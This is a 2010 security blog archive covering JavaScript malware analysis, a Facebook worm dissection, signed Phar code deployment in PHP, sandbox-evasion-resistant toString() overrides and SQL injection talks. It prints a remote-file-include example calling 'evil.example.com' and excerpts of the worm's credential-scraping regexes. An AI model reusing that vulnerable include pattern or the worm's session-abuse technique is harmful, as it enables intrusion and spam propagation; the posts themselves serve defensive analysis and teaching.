the world. according to koto

Malicious Javascript talk - materials

2010-06-11T11:24:00.003+02:00

I've published the talk from yesterday's OWASP meeting:

Update: English version

Creating, obfuscating and analyzing malware JavaScript

View more presentations from Krzysztof Kotowicz.

Tworzenie, zaciemnianie i analiza złośliwego kodu JavaScript

View more presentations from Krzysztof Kotowicz.

A/V recording of the talk - varlog.pl

Also - all the code from demonstrations is now published on GitHub, so you could take a look for yourselves (there even is an additional attack I forgot while giving the talk). Thank you for all the kind words - I really appreciate it. Personally I found Pawel's talk much more interesting and I kept taking notes as crazy :) Congratulations to you, Pawel! I'd like to hear your critical feedback on the talk - what one thing could be changed to make it better, were the examples ok, or maybe there was some confusion here and there, which part was boring etc. I'm still learning, although I must say that I really liked the subject presented.

Creating, obfuscating and analyzing malware JavaScript

2010-09-08T19:39:00.000+02:00

I've translated my talk on Analyzing and Obfuscating Javascript-based malware to English:

Malware attacks on unaware Internet users’ browsers are becoming more and more common. New techniques for bypassing filters used by security vendors emerge. In turn, the filters are getting better, new analyzing tools are developed - the war continues. At the presentation you will learn how crackers are trying to hamper the work of security engineers, and how reversers are overcoming those problems. Emphasis will be placed on the weaknesses of automated tools - we’ll try to avoid detection by jsunpack and Capture-HPC, we’ll also trick Dean Edwards’ Unpacker.

Creating, obfuscating and analyzing malware JavaScript

View more presentations from Krzysztof Kotowicz.

The materials for the demos are on github. For Polish viewers - see the polish version of the talk.

The talk mentions jsunpack vulnerability where malware could detect that functions have been overloaded - I've done some research on how jsunpack could fix this by overriding toString better.

MakeMeLaughNow - analysis of new generation facebook worm

2010-08-30T15:22:00.004+02:00

A new facebook worm malware application 'makemelaughnow' is out in the wild.
It escapes FB sandbox mechanisms and activates BEFORE displaying the credentials form - only by visiting application home page you send messages to your friends and update your status.
As the news on niebezpiecznik.pl say, it uses Facebook mobile site (touch.facebook.com) to propagate. I did a quick analysis - Let's take a look on what's exactly going on in the app code.

Disclaimer: Don't do this at home - I'm a professional stunt driver and like to live dangerously. Don't do this analysis on your standard Facebook account, use a virtual machine in case there's some exploit embedded etc. When I found out that touch.facebook.com is involved, I just added:

127.0.0.1 touch.facebook.com

to /etc/hosts (that redirects all requests to touch.facebook.com to my computer), but please be more careful. You've been warned.

Quick lookaround

The app homepage looks like this:

All you can see is some ads displayed. But a lot of things happen underneath. Let's look at the Firebug net panel:

The app, even before requesting any permissions from you, sends requests to touch.facebook.com possibly sending messages and performing other actions on your behalf. These are marked red in the screenshot (I block touch site). After that the ads from be2.pl are downloaded. So the app is clearly some sort of malware.

Getting the code

The actual app code and HTML sits in http://apps.facebook.com/fbml/fbjs_ajax_proxy.php?__a=1. It is sanboxed in JSON file and looks like this:

After downloading the JSON file locally and extracting it (I used PHP & Spidermonkey for extraction and Eclipse for formatting) we get the final app code (see step2_2.js ).

Sandbox

All Facebook apps are sandboxed to disallow them from referring global window object (so that they can't change Facebook page, redirect, send hidden forms etc). For this particular analysis, the important things to notice are:

JS code and objects are in prefixed namespace (aBIGNUMBER_variable_name)
HTML objects have namespaced IDs (<div id="appBIGNUMBER_name">)
$FBJS object is used to prevent app from referring to global window object. For our purpose you can assume that:

$FBJS.idx(a) === a
$FBJS.ref(this) === this

For convenience, I replaced the BIGNUMBER with 'x' character.

All the code used in this post is hosted on github.com - take a look, it's really interesting.

Analysis

Obfuscation method

The app, after being initialized, starts with the following statement (line 111):

ax_domethod = ax_findvalues.firefunc(ax_document.getElementById('help_container').getFirstChild().getTitle());

So it gets the title of one of its DOM elements and passes it to some function. What's in the title then? Looking at the page source (app.html) we can see that it looks strange:

<div id="app100124540047022_m" 
  class="m" 
  fbcontext="6ff9e32a4c8c"
  title="choy:ketmdslqxb.ujpzgvnra/fiw_?="/>

It looks as if the title is some sort of a key that could be used to decrypt the hidden application variables. And we're right. In fact, choy:ketmdslqxb.ujpzgvnra/fiw_?= is a dictionary - ax_create.help() function picks characters from this dictionary to form URLs, field names etc. The character offsets are defined in, slightly obfuscated ax_meth variable.

Scraping data

Ok, so the app is obfuscated and uses DOM object to decrypt its variables. But what does it do?
Let's look at ax_findvalues:

var ax_findvalues = {
a : ((new ax_RegExp('st_.or._i.\\\x22 .al.e=\\\x22(.*?)\\\x22', ''))), 
    // <form action="http://www.facebook.com/wallpost.php" post_form_id value
b : ((new ax_RegExp('b_d.s.\\\x22 v..ue=\\\x22(.*?)\\\x22', ''))), 
    // value = type="hidden" id="fb_dtsg" name="fb_dtsg"
c : ((new ax_RegExp('p.o..le\\.p.p\\?i.=(\\d+)\\\x22', ''))),
    // href="http://www.facebook.com/profile.php?id=xxx" your profile ID
d : ((new ax_RegExp('na.e=\\\x22i.s\\[]\\\x22 v.l.e=\\\x22(.*?)\\\x22', 'gi'))), 
    // name=ids[] value= -- your friend ids
//...

This variable contains some interesting regular expressions - these are used to extract all your friend IDs, your own ID and a few unique credentials from HTML code embedded by Facebook with the application. But the app could do nothing with this data, as we're protected by sandboxing, right? Well, not really.

Exploited by touching

Looking deeper into the code, we could see that the obfuscated data is:

m=http://touch.facebook.com/message_send.php
ftarg=fra
su=http://touch.facebook.com/submit_status.php (status update)
pid=post_form_id
lp=http://touch.facebook.com/reqs.php?id=
fhome=http://touch.facebook.com/home.php
fbd=fb_dtsg
hc=fb_dtsg

So, probably, the app is contacting touch.facebook.com to send messages and submit new status. Again, we're right. The actual process is:

ax_findvalues.firefunc() extracts your friend IDs and other data into ax_sheep, ax_params variables (line 264)
new form and iframe are created
ax_methodaction (line 183) fills out the form to touch.facebook.com with this message to a few (max.20) of your friends:

i thought of you...

im using up my fb ad credits to send u a gift so HERE = http://apps.facebook.com/makemelaughnow/
If you have more than 500 friends, or less then 2, a status update: "only go here if you are my TRUE friend http://apps.facebook.com/makemelaughnow/" is sent instead
You become a fan of the app (line 297)
The ad is displayed and the app cleans up its objects

Conclusion

What we can see here, is that an app is probably using a vulnerability in Facebook where mobile site is using the same credentials as normal site, but is not protected by sandbox mechanism. So the app, instead of asking for permissions to e.g. update your status, silently gets the session data from DOM and sends the requests through touch.facebook.com, avoiding sandbox protection and spreading quickly - so it's similar to CSRF / session hijacking vulnerability. It's clearly an error on Facebook site that's being exploited. Lesson to be learned - don't forget about your mobile sites.

Hardening PHP: How to securely include remote code (part 3)

2010-08-07T11:45:00.002+02:00

In this last post of the series we learn how to use Phar archives and OpenSSL together to build a secure remote code deployment framework. I present PharUtil - the library adding convenience and security to Phar functionality.

Previously on blog

Last time I talked about using Public key cryptography to digitally sign a PHP code. You can sign the code with you private key and anyone later on could verify that the code is yours by checking the signature with your public key (that you need to make available somewhere).

Code signing solves the problem of secure remote code deployment. Going back to our client-consumer & server-producer architecture:

Server having the private key and the code, packages up the code as Phar archive and signs it. Client, having the public key, downloads the code from the server, and, to be sure that it's authentic, verifies it. If the code passes signature verification, it can be safely used.

While Phar archives solved the problem of packaging the code and signing/verifying it, we were only missing the final glue - Phar doesn't work remotely, so there is no "connection" between server and client.

The missing piece

Now is the time to introduce the missing piece: the PharUtil library.
PharUtil library is:

a set of command line utilities for working with Phar
PHP class that downloads and verifies the remote Phar archive

With PharUtil secure code download is that simple:

// all verified Phars will be copied to lib/ directory
$verifier = new PharUtil_RemotePharVerifier('/tmp', './lib', './cert/public.pem');
try {
  $verified_file = $verifier->fetch("http://example.com/library.phar");
} catch (Exception $e) {
 // verification failed
 exit();
}

// $verified_file contains absolute filepath of a downloaded file
// with signature verified from './cert/public.pem'
include_once $verified_file;
// or
include_once 'phar://' . $verified_file . '/some/file/within.php';
// or
echo file_get_contents('phar://' . $verified_file . '/readme.txt');
?>

Backstage:

A Phar file is downloaded to /tmp 'staging' directory
Local public key is attached to the Phar
A public key is checked
Phar is validated to be OpenSSL signed with the given public key
Phar file is moved to lib/ directory to be used by application

When working on PharUtil, I discovered many quirks with Phar that affect security (e.g. Phar compression silently downgrades OpenSSL signature to SHA signature, dummy public key file makes all archives valid etc.) - all of them are being addressed in PharUtil, so you get an Even-Safer-Phar.

If you don't want the whole signing thing and just need to download Phar and check if it has no transfer errors - I'm fine too, just don't pass the third parameter (public key) to the constructor.

Bonus

PharUtil gives you a few useful command-line utilities to deal with Phar archives.

phar-build for building and signing Phar archives
(see phar-build -h for help)
phar-extract for extracting/listing contents of Phar archive
(see phar-extract -h for help)
phar-verify for verifying signature of Phar archive
(see phar-verify -h for help)
phar-generate-cert for generating OpenSSL certificates used to sign the Phar archives (OpenSSL installation is required)

How to use them? See the examples:

Build a Phar archive

Generate certificates in cert/ directory (will be put in priv.pem and pub.pem)

$ mkdir cert/ 
$ cd cert/ 
$ phar-generate-cert

Create src/ directory and copy all the files to be included in Phar

$ phar-build --phar library.phar

Extract a Phar archive

$ phar-extract library.phar output-directory

Verify a Phar archive signature

$ phar-verify -P pub.pem http://example.com/library.phar

(this is using PharUtil_RemotePharVerifier internally :))

List a Phar archive contents

$ phar-extract -l library.phar output-directory

Download

To install the library use my PEAR channel:

$ pear channel-discover pear.kotowicz.net
$ pear install kotowicz/PharUtil-beta

To read more and/or look at the source code - head over to github.com/koto/phar-util

Summary

In this post series, I talked about PHP remote code execution vulnerability and showed that the cause of it is, well, remote code that we can't verify. Then we went through different methods of dealing with the remote code and, finally, have found a way to sign the PHP code and be able to securely distribute it to remote clients.

We've come a long way since a few years ago and now we, as a PHP community, have the possibility to maintain security AND include remote signed code in our applications. And it's a low-hanging fruit thanks to OpenSSL, Phar and, now, PharUtil library. Code signing is here - now we just have to use it in our next killer distributed apps.

Hardening PHP: How to securely include remote code (part 2)

2010-07-29T20:10:00.004+02:00

In second post of the series I describe methods of checking the integrity of remote code - from checksums to (simple) Public Key Infrastructure. To transfer the code I introduce the popular Phar archives.

Checksums

In first post I've talked about the growing need of transferring and executing code from remote locations. I've also described why blindly trusting downloaded code is a security vulnerability, even if we download from a known location under our control.

To be sure that the downloaded code has not been modified (by an attacker) we must somehow validate it. The simplest form of validation is to compare a checksum of the code with a known value. Let's look at an example:

// checksum validation
$url = 'http://code.example.com/code.php';
$file = file_get_contents($url);
if (md5($file) == $code_checksum) {
    file_put_contents('code.php', $file);
    inlcude 'code.php';
}

We download the code over-the-wire, but before executing it, we calculate the MD5 sum of the file contents and compare it to our value. Checksum easily detects errors in file transfer. Also, if an attacker supplies his code, the checksum is different (let's ignore hash collisions for a moment) and the code would not execute. What is the problem? There are two:

How should we get the checksums in the first place? If we have them locally - what is the point of not shipping the code with them anyway (minus licensing issues)? If we don't - we need to fetch them, so they could also be tampered with.
The checksums are tied to a specific code version - if we update the remote code, we need to supply new checksums to all the clients (and do it securely).

Described issues are what is known in cryptography as the classic Key exchange dillemma.

Signing the code

Luckily, if we know upfront who will ship the code to our applications, these problems are solvable with the help of public/private key pair and code signing. Let's see how the code signing works:

The idea is simple - the producer (code author) generates two keys - a public and a private one. The keys work together like two sides of a coin. If one key is modified, the mathematical relationship between them breaks. When building the software, producer uses his private key and the code itself to generate a code signature - a special form of checksum. The checksum, together with code is then bundled together in a "signed code" package (think of a ZIP file).

Code verification does not use a private key, but a second key from the pair - the public one. The consumer checks the signature of the package and verifies it using producer's public key. If anyone modifies the code in the package - the signature will not match (that is the checksum functionality). But, even if the package has correct checksum but is signed with a different private key - it can be detected (because public and private keys are related!). The effect is that unless attacker has producer's private key - he cannot tamper with the code as it would fail the signature verification.

How to use that in our example?

Generate the private and public key on a producer (it can also be a third-party server)
Ship the producer's public key together with the clients' part of an application.
Whenever the code to be downloaded is modified, sign it on producer
Client downloads the new code and verifies it before executing (don't download the public key again! - it could be tampered with)

Even if an attacker executes man-in-the-middle attack and ships the code instead of the producer server, without knowing the private key (which is securely stored on producer server and is never transferred) - his code will never be executed. We only execute code that is signed by private key paired with our known local public key.

Code signing in PHP world - Phar

Getting back to PHP, we have two problems to solve:

What format of package to use? We cannot just append the signature after the code, as that would require stripping it manually before verification.
How to perform the actual verification / signing process?

Luckily, there's Phar and it beautifully solves both issues. Phar is a container format (like .jar for Java) for PHP applications that also allows for signing and verifying signatures using OpenSSL public/private key pair.

Installing Phar

To use Phar for code signing, you need PHP compiled with --with-openssl switch. For PHP < 5.3, you also need to build the Phar (2.0.0+) extension from http://pecl.php.net.

E.g. under Ubuntu, these steps are required to build and configure the extension:

$ sudo apt-get install php5-dev
$ sudo pecl install pecl/phar
$ echo "extension=phar.so" | sudo tee /etc/php5/conf.d/phar.ini
$ echo "phar.readonly=0" | sudo tee -a /etc/php5/conf.d/phar.ini

The last line allows us to create Phar archives as by default only reading them is supported.

Creating keys

You also need to generate a public/private key pair - use these OpenSSL commands to do this:

#!/bin/bash
# priv.pem will contain your private key
# pub.pem will contain your public key
openssl genrsa -out priv.pem 1024
openssl rsa -in priv.pem -pubout -out pub.pem

Signing with Phar

Signing is dead easy (apart from errors in documentation :( )

$src = './src'; // source files to be built
$dest = './build/test.phar'; // phar destination file
$priv_file = './cert/priv.pem'; // path to PEM private file
$pub_file = './cert/pub.pem'; // path to PEM public file

$phar = new Phar($dest);
// get the private key
$private_key = file_get_contents($priv_file);
// apply the signature
$phar->setSignatureAlgorithm(Phar::OPENSSL, $private_key);
$phar->buildFromDirectory($src);
// attach the public key for verification
copy($pub_file, $dest . '.pubkey');

Phar requires the public key to be stored alongside phar archive in hardcoded location, so the last line copies our public key file next to it.

Verifying signature in Phar

To use Phar archives locally, you simply do:

require_once '/path/to/test.phar';

This will fetch the appropriate public key and perform the verification, throwing an Exception on error.

If you need to use the Phar archive remotely, you're out of luck though. For security reasons, Phar won't work with remote URIs (in other words, you cannot include a Phar archive remotely). Also the public key must be stored next to an archive in a predefined location. While Phar solves the signing problem, it does so for local includes only.

So, getting back to the question - how to securely include remote code? We need to find a way to ship .phar archives remotely AND verify the signatures without transferring the key, which will be covered in the next post from this series.

Hardening PHP: How to securely include remote code (part 1)

2010-07-29T12:49:00.002+02:00

First post of the series discussing various methods of including remote PHP code in your application - from security standpoint. In this post we discuss the history of remote code execution vulnerabilities in PHP apps and ways to prevent them. We finish off by presenting an unsecure method of including a remote code and describe what is the problem with that method.

Introduction

PHP applications from the early days have often suffered from Remote Code Execution vulnerabilities. Some design flaws in the language itself (e.g. allowing including a file from remote URL) and PHP developers' lack of knowledge all contributed to the problem. Common source of it was seen in do-it-yourself CMSes, where you could find snippets like these:

$file = $_GET['page'];
include $file . '.php';

Of course, this obviously has an remote code execution vulnerability - if an attacker used ?page=http://evil.example.com/evil_script he can run any code on the server. That is, if PHP is left with default setting of allow_url_fopen. However, changing allow_url_fopen to false prevents you from easily opening all remote files (e.g. images to rescale), not only code, so usually it is left at default value.

Allow_url_include

Luckily PHP 5.2 introduced new config setting - allow_url_include. It's default value prevents including file from a remote location (only local file protocol URIs are possible):

// PHP 5.2 - allow_url_include = "0"
// you can still open files by URL
echo file_get_contents('http://www.google.com/image.png'); 
include '/path/to/file.php'; // this is ok
include 'http://example.com/src/file.php'; // this will fail

Thanks to this move, most common remote code execution flaw in PHP applications has been patched. By default, including (and executing) code from remote URI is denied. Sure, it's still possible, but it's usually due to the application authors introducing some funky features to allow for downloading remote code (e.g. for updating plugins etc).

But I need remote code!

It's 2010, the web is now 2.0 - we have distributed applications, cloud computing, ad servers, application components, plugins, social networks, mashups etc. Remote code distribution becomes a popular need of PHP applications. PHP nowadays is not only sitting on one server - the applications are deployed in server farms, in the cloud, distributed to your customer's, run on a desktop - and even in your Android phone!

By allowing remote code you can:

create an application with upgradable plugins
allow your applications to download it's modules over the wire
automatically install additional plugins based on e.g. client's license file

and tons of other things, but ....

In this distributed environment, security becomes crucial. How do I know that the code I've been given (or that I've downloaded) is to be trusted? How do I know it has not been tampered with? Let's first look at how not to do it:

Naive way - hardcoded location

Let's pretend we have a simple scenario:

Here we have 2 servers - the consumer (client.example.net) and the producer (code.example.com). Client downloads a PHP code from the server, saves it locally (beating allow_url_include protection) and includes it. The code is downloaded from a hardcoded location, so we should be safe, right? Not really. We blindly trust that the server identified by the domain name is hosting "our" code - but this is not always true:

The client has its DNS entries wrong - effectively downloading code from attackers' location. DNS rebinding attacks this is only one of the methods, one could use man-in-the-middle attack, use some rogue proxy etc.

Don't trust the hostname!

The problem is that we were trusting the server hostname and not the code itself. So if one could act as code.example.com for our application, we'll blindly accept everything he has to offer.

To protect from these kind of attacks (and securely use remote code) we need to perform some sort of code integrity check before it's execution. If not, we have CWE-494: Download of Code Without Integrity Check vulnerability. How to do the check? Well - check out the second post of the series ;)

Ultimate toString() override

2010-06-16T02:16:00.002+02:00

As shown in my last talk on malware analysis, automatic malware detectors could be easily beaten by detecting their emulation layer. For example, malware could always use Function.toString() method to check if any function has been emulated by the sandbox. Today I raise the bar a little - we'll switch the toString() method in a way that is significantly harder to detect by malware authors.

I discussed the sandboxing & detection techiques currently used with Blake Hartstein, jsunpack author and we came to an obvious conclusion, that the problem is unsolvable within JavaScript layer. Every trick used by sandbox engine could be ultimately detected by malware. In other words - in JavaScript, you can't hack the JavaScript itself. That is the reason Blake modified the underlying Spidermonkey code (written in C) to allow for perfect eval() overloading (see my attempts for a comparison).

To see why it is so hard, let's look at the example:

toString() chain

Current version of jsunpack emulates window.open by doing:

window.open = function (url){
    print("//jsunpack.url open = " + url) 
};

But malware author could easily detect this by doing:

window.open.toString().match(/print/)

To protect from detection, jsunpack could do:

window.open.toString = function () {
return "function toString() {\n\t[native_code]\n}";
}

but then again malware could check window.open.toString.toString() ... and so on, ad infinitum.

The problem is that if we modify toString() for function x, the modifications will be visible in the x.toString.toString() output. In JavaScript you could always look at the insides of a function if you're clever enough.

Practical point of view

Because of this, jsunpack takes the reactive strategy - if some technique is captured in the wild, countermeasures will be taken. Nonetheless, if someone comes up with a better emulation layer, requiring bigger JS skills to detect, it would only be for good.

In this spirit, I present to you...

The (almost) ultimate toString() override

Using JavaScript getters (introduced in JS 1.5) we could do something like this:

var emulateToStringRecursive = function(object, fn_header) {
    object.__defineGetter__("toString", function() {
        var original = this.__proto__.toString;
    
        this.__proto__.toString = function() {
            var a = original.call(this);

            if (a.match("_RANDOMIZE_ME"))
                return original.toString();
            return a;
        };

        return function() {
            // dummy operation to avoid removal by the optimizer
            ["_RANDOMIZE_ME"] 
            var BODY = " {\n\t[native code]\n}";
            return fn_header + BODY;
        }
     });
};

and use it like:

emulateToStringRecursive(window.open, 'function open()');

This will make sure that window.open.toString() returns:

function open() {
    [native code]
}

but window.open.toString.toString(), window.open.toString.toString.toString() and below return:

function toString() {
    [native code]
}

just like original functions would. With this code in place it is now harder for malware authors to detect the sandbox.

To make the protection more bullet proof, we should introduce

randomization ("RANDOMIZE_ME" should be changed into random string by some preprocessor)
anonymization (don't put it in a global variable)
monitoring checking/modifying getters & setters at Spidermonkey layer - just like with eval(). So that if malware tries to detect this technique by looking at the getters, we'll catch it.

You could look at the code and the example script here http://github.com/koto/owasp-malicious-javascript/tree/master/tostring/

To test it within jsunpack, put the relevant code in the end of pre.js.

Disclaimer

Of course, I know that this is also trivially easy to detect (I won't publish the code for this though), but I think it does require JS skills from the bad guys, and we could hope that this will slow them down a little. With monitoring in place we could also make this almost perfect.

Save your data from SQL injection - materials

2010-06-08T20:58:00.001+02:00

These are the slides from my talk given today at Krakspot Tech meeting:

Jak ocalić swoje dane przed SQL injection?

View more presentations from Krzysztof Kotowicz.

Incoming lectures on malware and on SQL injection

2010-05-29T21:00:00.003+02:00

I will be giving two talks next month:

Save your data from SQL injection
8.06.2010 - Krakspot Tech meeting
This is a heavily modified version of my previous talk given at OWASP meeting, however this one is less code-oriented and the emphasis is given on understanding the vulnerability. Plus - it's newer, and newer is better ;)

Time: 8.06.2010, 18:00
Place: Swing, Kraków, Bożego Ciała 9
more info

Creating, obfuscating and analysis of JavaScript-based malware
10.06.2010 - OWASP Polish Chapter meeting
Malware attacks on unaware Internet users' browsers are becoming more and more common. New techniques for bypassing filters used by security vendors emerge in time. In turn, the filters are getting better, new analyzing tools are developed - the war continues. At the presentation you will learn how crackers are trying to hamper the work of security engineers, and how reversers are overcoming those problems. Emphasis will be placed on the weaknesses of automated tools - we'll try to avoid detection by jsunpack and Capture-HPC, we'll also trick Dean Edwards' Unpacker.
This talk, on the other hand is code oriented as we'll be using some JavaScript trickery, however everything will be explained so you don't need to be a JavaScript ninja to understand it.

Time: 10.06.2010, 18:00
Place: Wydział Fizyki i Informatyki Stosowanej AGH ul. Reymonta 19, budynek D-10 Sala: A (aula)
more info: [1] [2]

All materials will be published after the meetings, I believe there might also be some a/v streams recorded by the hosts, but I'm not sure. Of course - everyone's invited, I'll update the post with the exact place&time in a few days.

Deobfuscating PHP scripts with evalhook

2010-05-13T16:31:00.000+02:00

Just a quick note - Similar to my previous approach in JavaScript Stefan Esser from Month of PHP Security successfully tried to deobfuscate a PHP script today.

He developed a PHP extension called evalhook that, well, hooks into eval()calls in PHP, displays a code to be executed and asks for a confirmation to run it. That way all user space PHP obfuscators (usually called encoders) are pointless - so please don't use them to protect your script from being seen.

Funny thing is that Stefan took the same way as me to deobfuscate a code written in a dynamic language - just hook into eval() and you're done. It's THAT simple.

Go ahead and read more on decoding a user space PHP script.

Grep Subversion log messages with svn-grep

2010-05-07T15:46:00.002+02:00

Back in the days when I used branches sparingly, I used the Subversion log messages to track features I was working on. When working simultaneously on two distinct features (e.g. SITE_REDESIGN and SWITCH_LANGUAGE), I tried to commit the changes separately for each feature, so my log messages looked similar to this:

r1000
SITE_REDESIGN
 - fixed CSS code for MSIE
 - redesign product pages

r1001
SWITCH_LANGUAGE
 - added language switcher to header

That way when looking at the log history, I immediately knew which commit was related to which feature. Today I needed to port some my changes to a different repository - so I had to check all the revisions related to e.g. SITE_REDESIGN feature and review them. It's an easy task in TortoiseSVN, however I'm on Linux now (and extraordinary RabbitVCS does not yet have the feature of searching in log messages). So I wrote a small tool that would do the task for me - and here I present you with

svn-grep

With this tool, you could easily search all your commit history for a given string and save accompanying log messages and diff files in a specified directory for review. You could use it for tracking poor-man's branches as I am, find a bugfix for a given bug etc.

Example

$ cd my-project
$ svn-grep SWITCH_LANGUAGE

This will fetch all logs & diff files for all revisions having SWITCH_LANGUAGE in log message and put it into my-project/report-SWITCH_LANGUAGE. So in one central place you have all the related files and you could, as I am right now, manually review and port the feature to a similar project.

Download and info

svn-grep is hosted at GitHub alongside with my other tools for Subversion (currently the script exporting a working copy to a zip). It's MIT-licensed, so you can freely download & use it. You're also welcome to fork the project and introduce some new features for it, right now it's just a newborn baby :)

See the project page for download and more info.

But it still looks like I'm moving slowly into git...

Cloning jQuery UI datepicker

2010-04-30T15:27:00.001+02:00

In case you were having problems with cloning fields with jQuery UI datepicker attached to them - solutions mentioned in the interwebs are similar to this one:

$('.cloned-input').removeClass('hasDatepicker').datepicker();

However, that did not work for me. If you happen to have a set of similar symptoms:

new datepicker is not instantiated at all
JS errors occur while instantiating new datepicker
even if datepicker is cloned, it refers to the old field

the issue is that there are remaining (cloned) events (if you're using .clone(true) like me) on the field AND there is a still attached cloned datepicker object.

Solution

Either imitate datepicker('destroy') manually:

$input = $('.cloned-input'); 
// remove still present related DOM objects
$input.siblings('.ui-datepicker-trigger,.ui-datepicker-apply').remove();
// remove datepicker object and detach events 
$input
  .removeClass('hasDatepicker')
  .removeData('datepicker')
  .unbind()
  .datepicker();

or implement a different procedure:

before cloning destroy the datepicker on the base input
clone(true)
recreate the datepicker on base input
use unbind() and recreate datepicker on cloned input

When overloading eval() fails

2010-04-16T03:51:00.002+02:00

Today I encountered a small issue when decoding yet another 'crackme' challenge from Paweł Goleń. This time it turned out to be just a little bit more difficult, as Paweł:

used some onerror handlers to run the code
tried (unsuccessfully) to beat my function overloading
used multi-level obfuscation

But obviously, this could only slow down any determined programmer. So there I was, happily decrypting the code bit by bit, restarting Firefox from time to time (heavy debugging session in Firebug always ends up like this for me ;) ) when suddenly the code stopped working.

And all I did was to replace eval('code') with code. To be more specific, that is the actual code:

<img onerror="eval('code;') // ok" src="http://i.dont.exist" />
<img onerror="code; //gives errors" src="http://i.dont.exist" />

Such operation usually has no side effects - after all, eval is meant to immediately evaluate the passed code. But my eval was overloaded (check my previous post to see how I achieved this) and this caused problems. What's even worse - it turned out overloaded eval will not always work as expected and you cannot avoid it!

Eval() is special

The 'original' eval turned out to be a very special function (just like arguments being a very special array) - it has its own execution context and you cannot emulate it with any other function. See the below example:

<html>
<head>
<script type="text/javascript">
var y = 'Klaatu barada nikto';
var eval2 = eval;
console.log('in global: ',y,this);
</script>
<body>
<img src="about:blank" onerror="console.log('in event handler:',y,this)">
<img src="about:blank" onerror="eval(&quot;console.log('in eval:',y,this)&quot;)">
<img src="about:blank" onerror="eval2(&quot;console.log('in eval2:',y,this)&quot;)">
</body>
</html>

Here we define a global variable y and we try to read the value of y from

global context (<script> element)
an event handler
eval() function inside an event handler
eval2() which is just a reference to 'original' eval (let's call it dummy overload ;))

What is important, this inside event handler points to <img> element, and images have their y property - so y should not be our 'Klaatu barada nikto', but a number. But running the above code in Firebug gives some unexpected results:

1st case works as expected (this is window, and global y is accessed), so is the 2nd (this is img, y is local), eval() does not change the scope nor variable visibility. But eval2()suddenly sees our global variable, even though it's in the context of <img>! WTF??

So there is a slight difference between original and overloaded eval() - although the context stays the same (thanks to Function.apply I used in original overloading), variable visibility is different - so one could potentially detect that eval() is overloaded.

We're doomed?

I tried to overcome this using various known techniques (wrapping in anonymous function, playing with scopes etc.) but to no avail. I cannot emulate eval without getting this strange behaviour.

Luckily, malware authors are is the same position - they usually obfuscate eval call by using some intermediate function (in other words, there is eval2 = eval equivalent somewhere in their code). But still, I'd rather have a perfect emulation... Is there any?

Beating JavaScript obfuscators with Firebug

2010-04-14T11:47:00.003+02:00

Today I encountered a very pleasant 'crackme' challenge from Paweł Goleń. The purpose is to find out what is the purpose of demo page set up by Paweł.

Visiting this page with e.g. Firebug enabled (or with any HTTP proxy) quickly shows that a POST request is sent upon visiting. You didn't submit any form manually so it must be JavaScript sending it. So, you just need to view the source of the page to find the JS code. And this is where the fun starts. The code looks like this:

Obfuscation

Not really readable... This code is obfuscated - modifed to make its analysis difficult. This is the technique widely used with malware software.
The encoded software usually tries to hack into the machine, so it can:

download even more code from a remote URL
send some data to a remote (attacker) server
exploit a browser vulnerability to execute a code on the machine
scan the internal network
hack into your router and convert it to a spam server

Obfuscating code sometimes prevents the software from being detected by antivirus/malware scans, but it is mainly used to make it harder to determine what the script actually does (and e.g. prepare antivirus signature for it).
In JavaScript obfuscation is usually based on heavy usage of unescape, String.fromCharCode and eval functions.

Luckily, JavaScript itself, with the help of Firebug, has tools that enable you to decode such obfuscated script, so it is only a matter of time to reverse engineer it.

Function overloading

JavaScript is a functional language, so - in plain words - the function itself can be written to variable, passed as an argument etc. And - as a variable - it can be reassigned. So it is possible to change the behaviour of any JavaScript function. Example:

<html><head>
</head>
<body><div id="alert"></div>
<script type="text/javascript">
window.alert = function() { 
  document.getElementById('alert').innerHTML = arguments[0] 
};
alert('hello world');
</script>
</body></html>

Here we overload widely used alert function - instead of a message box it will insert a given message to a <div id="alert"> element. Two things to note:

alert is in fact window.alert because JS in browsers has a global object named window
arguments is an array-like object containing parameters passed to the function, so in this case it's ['hello world']

Let's decode

Analysing any obfuscated script will be much easier if you overloaded the key functions: unescape, String.fromCharCode and eval. But, for the script to actually work, our overloaded functions must call the original ones:

var oldunescape = window.unescape;
window.unescape = function() {
  var u = oldunescape.apply(this,arguments); // this calls the old function
  console.log('unescape ', arguments, u);
  return u;
}

var oldCharCode = String.fromCharCode;

String.fromCharCode = function() {
  var u = oldCharCode.apply(this,arguments);
  console.log('charcode ', arguments, u);
  return u;
}

var oldeval = window.eval;
window.eval = function() {
  var args = arguments;
  console.log('eval ', arguments, u);
  var u = oldeval.apply(this,arguments);
  debugger; // here the debugger (e.g. Firebug) will kick in 
  return u;
}

With this code you may start decoding the script, consistently replacing obfuscated code in HTML with decoded one coming from Firebug console. You can also insert the debugger; line anywhere in a JS to add a breakpoint.

One thing to note - when debugging malware, be sure to make it in a safe environment (e.g. a separate virtual machine, some sort of sandbox), because otherwise there is a risk you'll become its victim.

We're finished...?

Unfortunately, that's only the first part of analyzing the software. After getting the plaintext version we need to understand what it actually does (and that's usually intentionally hidden in many functions, variables, exceptions, browser differences and strange program flow). It is hard and requires both patience and a bit of JavaScript knowledge, but it is, I think, one of the fastest and most exciting ways to learn. So, go grab your Firebugs and try for yourself - what does this page do?

Hardening PHP: SQL injection - Complete walkthrough

2010-03-19T20:52:00.000+01:00

Below are the slides from the presentation I recently gave on SQL injection on OWASP Poland Chapter meeting. The materials teach how to use prepared statements, how to escape and write secure stored procedures. Many PHP projects are covered - PDO, Propel, Doctrine, Zend Framework and MDB2. Multiple gotchas and caveats are included. I discuss why escaping is usually the wrong choice, which practices to avoid or follow and how stored procedures sometimes offer no protection at all.

I tried to make this as complete as possible, so a PHP developer could learn how to protect his applications no matter what framework / database he uses.

English version

SQL Injection: complete walkthrough (not only) for PHP developers

View more presentations from Krzysztof Kotowicz.

Polish version

Kompletny przewodnik po SQL injection dla developerów PHP (i nie tylko)

You could also watch video recorded from the presentation. There are already some comments on the slides on niebezpiecznik.pl (Polish), but of course feel free to add comment here.

You're from Cracow and want to beat SQL injection?

2010-03-03T21:02:00.003+01:00

Anyone interested in secure development probably knows what OWASP is. If not - it's a worldwide non-profit organization focused on web application security.

There is an upcoming OWASP Poland chapter meeting in Cracow, Poland next week. This time it is focused on secure PHP application development.

I will be giving a presentation there - it's entitled
"SQL injection: Complete walktrough (not only) for PHP developers".

We will talk a bit about the theory and demonstrate an attack. Then I'll show how to write code immune to SQL injection in various PHP frameworks, using various databases. We'll also talk about writing secure stored procedures in Oracle, MS SQL Server and MySQL. Different gothchas, bugs and tricks will be covered, so even if you think you know the subject - it will surprise you.

